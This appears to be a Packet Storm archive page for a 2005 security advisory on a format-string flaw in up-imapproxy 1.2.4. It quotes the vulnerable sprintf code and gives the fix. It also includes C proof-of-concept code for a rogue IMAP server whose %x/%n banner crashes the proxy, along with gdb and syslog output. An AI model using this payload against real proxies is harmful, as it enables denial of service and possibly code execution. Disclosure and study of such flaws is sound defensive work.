what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

up-imapproxy-exp.txt

up-imapproxy-exp.txt
Posted Nov 2, 2005
Authored by unl0ck, Darkeagle | Site exploiterz.org

A format string vulnerability exists in Imapproxy versions 1.2.4 and below. Proof of concept exploit included.

tags | exploit, proof of concept
SHA-256 | a957e64eb23300ef5bd04f9396a66646f9eb4e1d06921f1eaf18205dd93c00f5

up-imapproxy-exp.txt

Change Mirror Download
[.:: ExploiterZ Labs aka Unl0ck Research Team ::.] 
Advisory

target: Imapproxy
version: 1.2.4 and earlier
type: format string
remote: yes
vendor: http://imapproxy.org
patch: doesn't exists

[.: Details :.]
Fromat string vulnerability was found in latest version
of IMAP proxy server (up-imapproxy).

Vulnerability exists in:
/up-imapproxy-1.2.4/src/main.c

function: ParseBannerAndCapability();

static int ParseBannerAndCapability( char *DestBuf,
unsigned int DestBufSize,
char *SourceBuf,
unsigned int SourceBufSize )
{
...
SourceBuf[SourceBufSize - 2] = '\0';
CP = strtok( SourceBuf, " " );
...
sprintf( DestBuf, CP );
...
}

This function uses in another function from main.c.

function: SetBannerAndCapability()

static void SetBannerAndCapability( void )
{
...
BannerLen = ParseBannerAndCapability( Banner, sizeof Banner - 1,
itd.ReadBuf, BytesRead );
...
if ( strncasecmp( Banner, IMAP_UNTAGGED_OK, strlen(IMAP_UNTAGGED_OK)) )
{
syslog(LOG_ERR, "%s: Unexpected response from imap server on initial connection: %s -- Exiting.", fn, Banner);
close( itd.conn->sd );
exit( 1 );
}
...
}

As you can see ParseBannerAndCapability() function calls vulnerable sprintf() without format string.
Correct call must be:

sprintf( DestBuf, "%s", CP );

instead

sprintf( DestBuf, CP );

Vulnerability can be used to execute arbitary code on target's machine.
Imapproxy incorrectly parse banner from IMAP daemon. Look at below PoC code.


[.: PoC :.]
/*
PoC exploit code for up-imapproxy <= 1.2.4
by Darkeagle from ExploiterZ Labs

eagle [ at ] exploiterz [ dot ] org

an exploit binds port (143) and when imapproxy connects to this exploit-server and gets banner, it's child process crashes..

*/

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>

#define BANNER "AAAAAAAAAA%x%x%x%x%x%n%n%n\r\n\r\n"

int main ( int argc, char *argv[] )
{
struct sockaddr_in addr, cl_addr;
int sock, cl_sock, addr_size;
char *Iaddr;
socklen_t l;

printf("Imapproxy <= 1.2.4 PoC Exploit\n");

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

addr.sin_family = AF_INET;
addr.sin_port = htons(143);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");

bind(sock, (struct sockaddr*)&addr, sizeof(addr));
listen(sock, 5);

addr_size = sizeof(addr);

while (1)
{
cl_sock = accept(sock, (struct sockaddr*)&cl_addr, &l);
Iaddr = inet_ntoa(cl_addr.sin_addr);
send(cl_sock, BANNER, strlen(BANNER), 0);
printf("IP: %s\n", Iaddr);
}

return 0;

}

[.: Screenshot :.]

.. Child Process crashed ..
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1076593408 (LWP 8279)]
0x401b5904 in vfprintf () from /lib/tls/libc.so.6
(gdb)
...

.. Syslog details ..

[root@localhost bin]# tail -10 /var/log/syslog
....
Oct 28 14:12:55 localhost in.imapproxyd[9201]: SetBannerAndCapability(): Unexpected response from imap server on initial connection: AAAAAAAAAbfffc4ccbfffc4ccbfffc4b45bfffd4e8804afb98056E60^M -- Exiting.
[root@localhost bin]#


[.: Credits :.]
Goes to Darkeagle [ eagle { at } exploiterz { dot } org ]

http://exploiterz.org || http://55k7.org

(c) 2004-2005 Unl0ck Research Team
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close